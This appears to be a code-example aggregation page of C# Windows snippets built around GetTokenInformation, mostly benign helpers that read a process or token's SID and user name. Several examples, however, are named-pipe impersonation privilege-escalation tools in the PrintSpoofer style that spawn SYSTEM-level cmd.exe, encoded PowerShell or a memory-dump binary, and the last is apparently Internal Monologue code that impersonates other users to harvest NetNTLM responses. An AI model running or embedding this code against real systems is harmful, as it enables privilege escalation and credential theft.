예제 #1
0
        //Retrieves the SID of a given token
        public static string GetLogonId(IntPtr token)
        {
            string SID = null;

            try
            {
                StringBuilder sb               = new StringBuilder();
                int           TokenInfLength   = 1024;
                IntPtr        TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
                Boolean       Result           = GetTokenInformation(token, 1, TokenInformation, TokenInfLength, out TokenInfLength);
                if (Result)
                {
                    TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));

                    IntPtr  pstr = IntPtr.Zero;
                    Boolean ok   = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
                    SID = Marshal.PtrToStringAuto(pstr);
                    LocalFree(pstr);
                }

                Marshal.FreeHGlobal(TokenInformation);

                return(SID);
            }
            catch
            {
                CloseHandle(token);
                return(null);
            }
        }
예제 #2
0
        private static string GetSID(IntPtr token)
        {
            bool Result;

            int    TokenInfLength = 0;
            string sidAsString    = String.Empty;

            // first call gets lenght of TokenInformation
            Result = GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, TokenInfLength, out TokenInfLength);

            IntPtr TokenInformation = Marshal.AllocHGlobal(TokenInfLength);

            Result = GetTokenInformation(token, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, out TokenInfLength);

            if (Result)
            {
                TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));

                IntPtr  pstr = IntPtr.Zero;
                Boolean ok   = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);

                sidAsString = Marshal.PtrToStringAuto(pstr);
                LocalFree(pstr);
            }

            Marshal.FreeHGlobal(TokenInformation);

            return(sidAsString);
        }
예제 #3
0
        public static byte[] GetSIDByteArr(IntPtr processHandle)
        {
            int    MAX_INTPTR_BYTE_ARR_SIZE = 512;
            IntPtr tokenHandle;

            byte[] sidBytes;

            // Get the Process Token
            if (!OpenProcessToken(processHandle, TOKEN_READ, out tokenHandle))
            {
                throw new ApplicationException("Could not get process token.  Win32 Error Code: " + Marshal.GetLastWin32Error());
            }

            uint tokenInfoLength = 0;
            bool result;

            result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfoLength, out tokenInfoLength);  // get the token info length
            IntPtr tokenInfo = Marshal.AllocHGlobal((int)tokenInfoLength);

            result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfoLength, out tokenInfoLength);  // get the token info

            // Get the User SID
            if (result)
            {
                TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER));
                sidBytes = new byte[MAX_INTPTR_BYTE_ARR_SIZE];                           // Since I don't yet know how to be more precise w/ the size of the byte arr, it is being set to 512
                Marshal.Copy(tokenUser.User.Sid, sidBytes, 0, MAX_INTPTR_BYTE_ARR_SIZE); // get a byte[] representation of the SID
            }
            else
            {
                throw new ApplicationException("Could not get process token.  Win32 Error Code: " + Marshal.GetLastWin32Error());
            }

            return(sidBytes);
        }
예제 #4
0
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
                return;
            }
            string pipeName = args[0];
            IntPtr hPipe    = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);

            ConnectNamedPipe(hPipe, IntPtr.Zero);
            ImpersonateNamedPipeClient(hPipe);
            IntPtr hToken;

            OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);
            int TokenInfLength = 0;

            GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);

            GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
            IntPtr     pstr      = IntPtr.Zero;
            Boolean    ok        = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
            string     sidstr    = Marshal.PtrToStringAuto(pstr);

            Console.WriteLine(@"Found sid {0}", sidstr);
        }
예제 #5
0
        public static string GetProcessUser(IntPtr hProcess, RunningProcess pre)
        {
            int    MAX_INTPTR_BYTE_ARR_SIZE = 512;
            IntPtr tokenHandle;

            byte[] sidBytes;

            try
            {
                winaudits.AdjustPrevilege.AddDebugPrevilege();

                // Get the Process Token
                if (!OpenProcessToken(hProcess, TOKEN_READ, out tokenHandle))
                {
                    return(null);
                }

                uint tokenInfoLength = 0;
                bool result;
                result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfoLength, out tokenInfoLength);

                // get the token info length
                IntPtr tokenInfo = Marshal.AllocHGlobal((int)tokenInfoLength);
                result = GetTokenInformation(tokenHandle, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfoLength, out tokenInfoLength);  // get the token info

                // Get the User SID
                if (result)
                {
                    TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER));
                    sidBytes = new byte[MAX_INTPTR_BYTE_ARR_SIZE];                           // Since I don't yet know how to be more precise w/ the size of the byte arr, it is being set to 512
                    Marshal.Copy(tokenUser.User.Sid, sidBytes, 0, MAX_INTPTR_BYTE_ARR_SIZE); // get a byte[] representation of the SID


                    var sid = new SecurityIdentifier(sidBytes, 0);
                    if (sid != null)
                    {
                        pre.SID = sid.ToString();
                        if (sid.IsAccountSid() == true)
                        {
                            pre.SIDType = "Account SID";
                        }
                        else
                        {
                            pre.SIDType = "WellKnown";
                        }
                    }

                    return(GetUserNameFromSID(sidBytes));
                }
            }
            catch (Exception)
            {
                return(null);
            }

            return(null);
        }
예제 #6
0
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
                return;
            }
            string pipeName = args[0];
            // Create pipe that waits for incoming pipe clients to impersonate
            IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);

            ConnectNamedPipe(hPipe, IntPtr.Zero);
            ImpersonateNamedPipeClient(hPipe);

            // Open impersonated token and obtain SID associated with token
            IntPtr hToken;

            OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);
            int TokenInfLength = 0;

            GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);

            GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
            IntPtr     pstr      = IntPtr.Zero;
            Boolean    ok        = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
            string     sidstr    = Marshal.PtrToStringAuto(pstr);

            Console.WriteLine(@"Found sid {0}", sidstr);

            // Convert impersonation token to a primary token
            IntPtr hSystemToken = IntPtr.Zero;

            DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);

            // Create environment for user without interactive logon
            StringBuilder sbSystemDir = new StringBuilder(256);
            uint          res1        = GetSystemDirectory(sbSystemDir, 256);
            IntPtr        env         = IntPtr.Zero;
            bool          res         = CreateEnvironmentBlock(out env, hSystemToken, false);
            String        name        = WindowsIdentity.GetCurrent().Name;

            Console.WriteLine("Impersonated user is: " + name);
            RevertToSelf();

            // Create new process with primary token
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO         si = new STARTUPINFO();

            si.cb        = Marshal.SizeOf(si);
            si.lpDesktop = "WinSta0\\Default";

            res = CreateProcessWithTokenW(hSystemToken, (uint)LogonFlags.WithProfile, null, "C:\\Windows\\Temp\\MiniDump.exe", (uint)CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref si, out pi);
        }
예제 #7
0
        static void Main(string[] args)
        {
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO         si = new STARTUPINFO();

            si.cb        = Marshal.SizeOf(si);
            si.lpDesktop = "WinSta0\\Default";

            if (args.Length == 0)
            {
                Console.WriteLine("Usage: PipeImpersonate.exe pipename");
                return;
            }
            string pipeName = args[0];
            IntPtr hPipe    = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);

            ConnectNamedPipe(hPipe, IntPtr.Zero);

            ImpersonateNamedPipeClient(hPipe);

            IntPtr hToken;

            OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);

            int TokenInfoLength = 0;

            GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfoLength, out TokenInfoLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfoLength);

            GetTokenInformation(hToken, 1, TokenInformation, TokenInfoLength, out TokenInfoLength);

            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
            IntPtr     pstr      = IntPtr.Zero;
            Boolean    ok        = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
            string     sidstr    = Marshal.PtrToStringAuto(pstr);

            Console.WriteLine(@"Found sid {0}", sidstr);

            IntPtr hSystemToken = IntPtr.Zero;

            DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);

            StringBuilder sbSystemDir = new StringBuilder(256);
            uint          res1 = GetSystemDirectory(sbSystemDir, 256);
            IntPtr        env = IntPtr.Zero; bool res = CreateEnvironmentBlock(out env, hSystemToken, false);
            String        name = WindowsIdentity.GetCurrent().Name;

            Console.WriteLine("Impersonated user is: " + name);
            RevertToSelf();

            CreateProcessWithTokenW(hSystemToken, (uint)LogonFlags.WithProfile, null, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -enc <command>", (uint)CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref si, out pi);
        }
예제 #8
0
        private bool GetUser(IntPtr accessToken, out string username, out string domain)
        {
            uint tokenInfoSize = 0;

            if (GetTokenInformation(accessToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfoSize, out tokenInfoSize) || Marshal.GetLastWin32Error() == ERROR_INSUFFICIENT_BUFFER)
            {
                IntPtr tokenInfo = Marshal.AllocHGlobal((int)tokenInfoSize);
                try {
                    if (GetTokenInformation(accessToken, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfoSize, out tokenInfoSize))
                    {
                        TOKEN_USER    user           = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER));
                        uint          usernameSize   = UNLEN + 1;
                        StringBuilder usernameBuffer = new StringBuilder((int)usernameSize);
                        uint          domainSize     = DNLEN + 1;
                        StringBuilder domainBuffer   = new StringBuilder((int)domainSize);
                        int           peUse;
                        if (LookupAccountSid(null, user.User.Sid, usernameBuffer, ref usernameSize, domainBuffer, ref domainSize, out peUse))
                        {
                            username = usernameBuffer.ToString();
                            domain   = domainBuffer.ToString();
                            return(true);
                        }
                        else
                        {
                            Error("LookupAccountSid");
                        }
                    }
                    else
                    {
                        Error("GetTokenInformation");
                    }
                } finally {
                    Marshal.FreeHGlobal(tokenInfo);
                }
            }
            else
            {
                Error("GetTokenInformation");
            }
            username = null;
            domain   = null;
            return(false);
        }
예제 #9
0
        static void Main(string[] args)
        {
            if (args.Length == 0)
            {
                Console.WriteLine("Usage: PrintSpooferNet.exe pipename");
                return;
            }
            string pipeName = args[0];
            // Create pipe that waits for incoming pipe clients to impersonate
            IntPtr hPipe = CreateNamedPipe(pipeName, 3, 0, 10, 0x1000, 0x1000, 0, IntPtr.Zero);

            ConnectNamedPipe(hPipe, IntPtr.Zero);
            ImpersonateNamedPipeClient(hPipe);

            // Open impersonated token and obtain SID associated with token
            IntPtr hToken;

            OpenThreadToken(GetCurrentThread(), 0xF01FF, false, out hToken);
            int TokenInfLength = 0;

            GetTokenInformation(hToken, 1, IntPtr.Zero, TokenInfLength, out TokenInfLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);

            GetTokenInformation(hToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
            IntPtr     pstr      = IntPtr.Zero;
            Boolean    ok        = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
            string     sidstr    = Marshal.PtrToStringAuto(pstr);

            Console.WriteLine(@"Found sid {0}", sidstr);

            // Convert impersonation token to a primary token
            IntPtr hSystemToken = IntPtr.Zero;

            DuplicateTokenEx(hToken, 0xF01FF, IntPtr.Zero, 2, 1, out hSystemToken);

            // Create new process with primary token
            PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
            STARTUPINFO         si = new STARTUPINFO();

            si.cb = Marshal.SizeOf(si);
            CreateProcessWithTokenW(hSystemToken, 0, null, "C:\\Windows\\System32\\cmd.exe", 0, IntPtr.Zero, null, ref si, out pi);
        }
예제 #10
0
        public static string GetProcessUserName(System.Diagnostics.Process process = null)
        {
            if (process == null)
            {
                process = System.Diagnostics.Process.GetCurrentProcess();
            }
            if (process.HasExited)
            {
                return("");
            }
            SafeTokenHandle hToken = null;

            try
            {
                if (!NativeMethods.OpenProcessToken(process.Handle, NativeMethods.TOKEN_QUERY, out hToken))
                {
                    return("");
                }
            }
            catch (Exception)
            {
                return("");
            }

            uint TokenInfLength = 0;
            bool Result;

            // first call gets lenght of TokenInformation
            Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, TokenInfLength, out TokenInfLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal(int.Parse(TokenInfLength.ToString()));

            Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, out TokenInfLength);
            if (Result)
            {
                TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));

                var a = new System.Security.Principal.SecurityIdentifier(TokenUser.User.Sid);
                return(a.Translate(typeof(System.Security.Principal.NTAccount)).ToString());
            }
            return("");
        }
예제 #11
0
        public static string GetProcessSID(System.Diagnostics.Process process = null)
        {
            if (process == null)
            {
                process = System.Diagnostics.Process.GetCurrentProcess();
            }
            SafeTokenHandle hToken = null;

            try
            {
                if (!NativeMethods.OpenProcessToken(process.Handle, NativeMethods.TOKEN_QUERY, out hToken))
                {
                    return("");
                }
            }
            catch (Exception)
            {
                return("");
            }

            uint TokenInfLength = 0;
            bool Result;

            // first call gets lenght of TokenInformation
            Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, TokenInfLength, out TokenInfLength);
            IntPtr TokenInformation = Marshal.AllocHGlobal(int.Parse(TokenInfLength.ToString()));

            Result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, TokenInformation, TokenInfLength, out TokenInfLength);
            if (Result)
            {
                TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));
                IntPtr     pstr      = IntPtr.Zero;
                Boolean    ok        = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
                string     sidstr    = Marshal.PtrToStringAuto(pstr);
                LocalFree(pstr);
                return(sidstr);
            }
            return("");
        }
예제 #12
0
        public static AccessTokenUser FromTokenHandle(AccessTokenHandle handle)
        {
            uint tokenInfLength = 0;
            bool success;

            IntPtr hToken = handle.GetHandle();

            success = Advapi32.GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, tokenInfLength, out tokenInfLength);
            IntPtr tokenInfo = Marshal.AllocHGlobal(Convert.ToInt32(tokenInfLength));

            success = Advapi32.GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, tokenInfo, tokenInfLength, out tokenInfLength);

            if (success)
            {
                TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInfo, typeof(TOKEN_USER));
                int        length    = Convert.ToInt32(Advapi32.GetLengthSid(tokenUser.User.Sid));
                byte[]     sid       = new byte[length];
                Marshal.Copy(tokenUser.User.Sid, sid, 0, length);

                StringBuilder sbUser   = new StringBuilder();
                uint          cchName  = (uint)sbUser.Capacity;
                StringBuilder sbDomain = new StringBuilder();
                uint          cchReferencedDomainName = (uint)sbDomain.Capacity;
                SID_NAME_USE  peUse;


                var user   = "";
                var domain = "";
                if (Advapi32.LookupAccountSid(null, sid, sbUser, ref cchName, sbDomain, ref cchReferencedDomainName, out peUse))
                {
                    user   = sbUser.ToString();
                    domain = sbDomain.ToString();
                }
                else
                {
                    var err = Kernel32.GetLastError();
                    if (err == Constants.ERROR_INSUFFICIENT_BUFFER)
                    {
                        sbUser.EnsureCapacity((int)cchName);
                        sbDomain.EnsureCapacity((int)cchReferencedDomainName);
                        if (Advapi32.LookupAccountSid(null, sid, sbUser, ref cchName, sbDomain, ref cchReferencedDomainName, out peUse))
                        {
                            user   = sbUser.ToString();
                            domain = sbDomain.ToString();
                        }
                        else
                        {
                            Logger.GetInstance().Error($"Failed to retrieve user for access token. LookupAccountSid failed with error: {err}");
                            user   = "******";
                            domain = "UNKNOWN";
                        }
                    }
                    else
                    {
                        Logger.GetInstance().Error($"Failed to retrieve user for access token. LookupAccountSid failed with error: {err}");
                        user   = "******";
                        domain = "UNKNOWN";
                    }
                }
                Marshal.FreeHGlobal(tokenInfo);

                return(new AccessTokenUser(user, domain, peUse));
            }
            else
            {
                Marshal.FreeHGlobal(tokenInfo);
                Logger.GetInstance().Error($"Failed to retreive token information for access token. GetTokenInformation failed with error: {Kernel32.GetLastError()}");
                throw new TokenInformationException();
            }
        }
        } // find winapi method

        public string RunningUserName()
        {
            //if (Marshal.GetLastWin32Error() == 5)
            //{
            //    //access denied
            //    return null;
            //    //throw new UnauthorizedAccessException();
            //}

            //Open access token

            //move outside
            uint TokenRead = 0x00020008;
            bool atSuccess = Win32Api.OpenProcessToken(_pHandle, TokenRead, out MySafeHandle tokenH);

            if (!atSuccess)
            {
                return(null);
                //throw new Exception(Marshal.GetLastWin32Error().ToString());
            }

            var tokenUser = new TOKEN_USER();

            uint tokenLength = 0;
            bool Result;

            // first call gets length of TokenInformation,
            // shows error but returns tokenlength
            Result = Win32Api.GetTokenInformation(tokenH, TOKEN_INFORMATION_CLASS.TokenUser, IntPtr.Zero, (uint)tokenLength, out tokenLength);

            IntPtr tokenUserPtr = Marshal.AllocHGlobal((int)tokenLength);

            //make it easier with elevationPtr
            var tokenInfo = Win32Api.GetTokenInformation(tokenH, TOKEN_INFORMATION_CLASS.TokenUser, tokenUserPtr, tokenLength, out uint returnedSize);

            if (!tokenInfo)
            {
                throw new Exception(Marshal.GetLastWin32Error().ToString());
            }

            ///According to: https://technet.microsoft.com/en-us/library/cc770642.aspx,
            ///https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/naming-conventions-for-computer-domain-site-ou
            ///
            ///Max username 20 symbols
            ///Max domainname 15 symbols
            tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenUserPtr, typeof(TOKEN_USER));



            var bufferSize = 20;
            var userName   = new StringBuilder(bufferSize);

            var domainNameSize = 15;
            var domainName     = new StringBuilder(domainNameSize);
            int accountType    = 0;
            var accountSuccess = Win32Api.LookupAccountSid(null, tokenUser.User.Sid, userName, ref bufferSize, domainName, ref domainNameSize, ref accountType);

            //Check domainname and username length

            if (accountSuccess == 0)
            {
                throw new Exception(Marshal.GetLastWin32Error().ToString());
            }

            return(userName.ToString());
        }
        /// <summary>
        /// Extracts Token information from a thread's memory by wrapping GetTokenInformation(). Returns token information specified by the tokenInformationClass param
        /// </summary>
        /// <param name="hToken"></param>
        /// <param name="tokenInformationClass"></param>
        /// <returns>String containing the requested token information</returns>
        static string QueryToken(IntPtr hToken, TOKEN_INFORMATION_CLASS tokenInformationClass)
        {
            int tokenInformationLength = 0;

            // First need to get the length of TokenInformation - won't return true
            bool result = GetTokenInformation(hToken, tokenInformationClass, IntPtr.Zero, tokenInformationLength, out tokenInformationLength);
            // Buffer for the struct
            IntPtr tokenInformation = Marshal.AllocHGlobal(tokenInformationLength);

            // Make call to GetTokenInformation() and get particular Struct
            switch (tokenInformationClass)
            {
            case TOKEN_INFORMATION_CLASS.TokenUser:

                // Store the requested token information in the buffer
                result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenUser, tokenInformation, tokenInformationLength, out tokenInformationLength);

                if (result)
                {
                    // Marshal the buffer to TOKEN_USER Struct
                    TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_USER));

                    // Extract SID from the TOKEN_USER struct
                    IntPtr pSID = IntPtr.Zero;
                    ConvertSidToStringSid(tokenUser.User.Sid, out pSID);
                    string SID = Marshal.PtrToStringAuto(pSID);

                    return(SID);
                }
                else
                {
                    return(null);
                }

            case TOKEN_INFORMATION_CLASS.TokenPrivileges:

                result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenPrivileges, tokenInformation, tokenInformationLength, out tokenInformationLength);

                if (result)
                {
                    TOKEN_PRIVILEGES tokenPrivileges = (TOKEN_PRIVILEGES)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_PRIVILEGES));

                    StringBuilder stringBuilder = new StringBuilder();

                    for (int i = 0; i < tokenPrivileges.PrivilegeCount; i++)
                    {
                        // Bitwise AND comparison to check that each token privilege attribute for SE_PRIVILEGE_ENABLED
                        if (((LUID_ATTRIBUTES)tokenPrivileges.Privileges[i].Attributes & LUID_ATTRIBUTES.SE_PRIVILEGE_ENABLED) == LUID_ATTRIBUTES.SE_PRIVILEGE_ENABLED)
                        {
                            // Append the privilege to the stringBuilder
                            stringBuilder.Append($", {tokenPrivileges.Privileges[i].Luid.LowPart.ToString()}");
                        }
                    }

                    return(stringBuilder.ToString().Remove(0, 2));
                }
                else
                {
                    return(null);
                }

            case TOKEN_INFORMATION_CLASS.TokenIntegrityLevel:

                // Mandatory Level SIDs for QueryToken()
                // https://support.microsoft.com/en-au/help/243330/well-known-security-identifiers-in-windows-operating-systems#allsids
                Dictionary <string, string> tokenIntegritySIDs = new Dictionary <string, string>
                {
                    { "S-1-16-0", "Untrusted Mandatory Level" },
                    { "S-1-16-4096", "Low Mandatory Level" },
                    { "S-1-16-8192", "Medium Mandatory Level" },
                    { "S-1-16-8448", "Medium Plus Mandatory Level" },
                    { "S-1-16-12288", "High Mandatory Level" },
                    { "S-1-16-16384", "System Mandatory Level" },
                    { "S-1-16-20480", "Protected Process Mandatory Level" },
                    { "S-1-16-28672", "Secure Process Mandatory Level" }
                };

                result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenIntegrityLevel, tokenInformation, tokenInformationLength, out tokenInformationLength);

                if (result)
                {
                    TOKEN_MANDATORY_LABEL tokenMandatoryLabel = (TOKEN_MANDATORY_LABEL)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_MANDATORY_LABEL));

                    // Extract SID string from TOKEN_MANDATORY_LABEL
                    IntPtr pSID = IntPtr.Zero;
                    ConvertSidToStringSid(tokenMandatoryLabel.label.Sid, out pSID);
                    string SID = Marshal.PtrToStringAuto(pSID);

                    if (tokenIntegritySIDs.ContainsKey(SID))
                    {
                        return(tokenIntegritySIDs[SID]);
                    }
                    else
                    {
                        return(null);
                    }
                }
                else
                {
                    return(null);
                }

            case TOKEN_INFORMATION_CLASS.TokenOrigin:

                result = GetTokenInformation(hToken, TOKEN_INFORMATION_CLASS.TokenOrigin, tokenInformation, tokenInformationLength, out tokenInformationLength);

                if (result)
                {
                    TOKEN_ORIGIN tokenOrigin = (TOKEN_ORIGIN)Marshal.PtrToStructure(tokenInformation, typeof(TOKEN_ORIGIN));
                    string       logonId     = tokenOrigin.OriginatingLogonSession.LowPart.ToString();
                    return(logonId);
                }
                else
                {
                    return(null);
                }
            }
            return(null);
        }
예제 #15
0
        //Returns the SID of the user the process is running as,
        //otherwise, null if the process has exited or access is denied to the process
        internal static string GetProcessUserSid(Process process)
        {
            //If this is a well known process (specifically the System and Idle kernel processes)
            //Assume you are running as system.  This is also special cased by the OS.
            if (process.Id == 0 || process.Id == 4)
            {
                return(new SecurityIdentifier(WellKnownSidType.LocalSystemSid, null).Value);
            }

            SafeProcessHandle processToken = SafeProcessHandle.InvalidHandle;
            IntPtr            tokenPtr     = IntPtr.Zero;
            TOKEN_USER        userToken    = new TOKEN_USER();
            string            userSid      = null;
            IntPtr            hProcess     = IntPtr.Zero;

            try
            {
                //HACK: For Vista it is possible to get the user SID for any process when running with administrator privileges.
                //      however downlevel you have to be running as system to get the sid for processes that are running as
                //      LocalService or NetworkService.
                //      The correct thing to do here would be to delegate the call on downlevel systems to ExecutionService.
                //      Alternatively we can use the undocumented WinStationGetProcessSid API in winsta.dll which is used by
                //      task manager which does an RPC call to a system process.  Because it is undocumented I was not successful in
                //      getting the pinvoke interop working.
                //      As a workaround for downlevel OSes we assume that processes that we can not get the access token to are running
                //      as LocalService.  This should still allow application logic to differentiate between user, system, and service
                //      processes which is the primary goal of this API.

                int processAccessLevel = Environment.OSVersion.Version.Major > 6 ? PROCESS_QUERY_LIMITED_INFORMATION : PROCESS_QUERY_INFORMATION;

                hProcess = OpenProcess(processAccessLevel, false, process.Id);
                if (hProcess == IntPtr.Zero)
                {
                    //the process has exited or access to the process is denied
                    //(running less then admin or locked down process such as audiodg on Vista)
                    return(null);
                }

                if (!OpenProcessToken(hProcess, TokenAccessLevels.Query, out processToken))
                {
                    //Access Denied - assume the process is running as LocalService (see hack comment above)
                    return(new SecurityIdentifier(WellKnownSidType.LocalServiceSid, null).Value);
                }

                //Get the size of the structure
                uint userTokenSize = 0;
                GetTokenInformation(processToken, TokenInformationClass.TokenUser, IntPtr.Zero, 0, out userTokenSize);

                //The call above will fail with the error "Data Size too small", but will return the right size
                if (userTokenSize == 0)
                {
                    throw new Win32Exception();
                }

                //Retrieve the token data
                tokenPtr = Marshal.AllocHGlobal((int)userTokenSize);
                if (!GetTokenInformation(processToken, TokenInformationClass.TokenUser, tokenPtr, userTokenSize, out userTokenSize))
                {
                    throw new Win32Exception();
                }

                //Marshall the pointer to the structure
                Marshal.PtrToStructure(tokenPtr, userToken);
                //Retrieve the sid
                ConvertSidToStringSid(userToken.User.Sid, out userSid);
            }
            finally
            {
                //Free used resources
                if (hProcess != IntPtr.Zero)
                {
                    CloseHandle(hProcess);
                }

                Marshal.FreeHGlobal(tokenPtr);
                processToken.Close();
            }

            return(userSid);
        }
예제 #16
0
        public static void HandleThread(ProcessThread thread, string challenge, bool verbose)
        {
            string SID = null;

            try
            {
                //Try to get thread handle
                var handle = OpenThread(0x0040, true, new IntPtr(thread.Id));

                //If failed, return
                if (handle == IntPtr.Zero)
                {
                    return;
                }

                //Duplicate thread token
                var token    = IntPtr.Zero;
                var dupToken = IntPtr.Zero;
                if (OpenThreadToken(handle, 0x0002, true, ref token))
                {
                    var sa = new SECURITY_ATTRIBUTES();
                    sa.nLength = Marshal.SizeOf(sa);

                    DuplicateTokenEx(
                        token,
                        0x0002 | 0x0008,
                        ref sa,
                        (int)SECURITY_IMPERSONATION_LEVEL.SecurityImpersonation,
                        (int)1,
                        ref dupToken);

                    CloseHandle(token);

                    try
                    {
                        //Get the SID of the token
                        StringBuilder sb               = new StringBuilder();
                        int           TokenInfLength   = 1024;
                        IntPtr        TokenInformation = Marshal.AllocHGlobal(TokenInfLength);
                        Boolean       Result           = GetTokenInformation(dupToken, 1, TokenInformation, TokenInfLength, out TokenInfLength);
                        if (Result)
                        {
                            TOKEN_USER TokenUser = (TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(TOKEN_USER));

                            IntPtr  pstr = IntPtr.Zero;
                            Boolean ok   = ConvertSidToStringSid(TokenUser.User.Sid, out pstr);
                            SID = Marshal.PtrToStringAuto(pstr);
                            LocalFree(pstr);
                        }

                        Marshal.FreeHGlobal(TokenInformation);
                    }
                    catch (Exception e)
                    {
                        CloseHandle(dupToken);
                        CloseHandle(handle);
                    }
                }

                //Handle each available user only once
                if (SID != null && authenticatedUsers.Contains(SID) == false)
                {
                    try
                    {
                        //Impersonate user
                        using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(dupToken))
                        {
                            if (verbose == true)
                            {
                                Console.WriteLine("Impersonated user " + WindowsIdentity.GetCurrent().Name);
                            }
                            string result = ByteArrayToString(InternalMonologueForCurrentUser(challenge));
                            //Ensure there is a valid response and not a blank
                            if (result != null && result.Length > 0)
                            {
                                Console.WriteLine(WindowsIdentity.GetCurrent().Name + ":" + challenge + ":" + result);
                                authenticatedUsers.Add(SID);
                            }
                            else if (verbose == true)
                            {
                                Console.WriteLine("Got blank response for user " + WindowsIdentity.GetCurrent().Name);
                            }
                        }
                    }
                    catch (Exception e)
                    { /*Does not need to do anything if it fails*/ }
                    finally
                    {
                        CloseHandle(dupToken);
                        CloseHandle(handle);
                    }
                }
            }
            catch (Exception)
            { /*Does not need to do anything if it fails*/ }
        }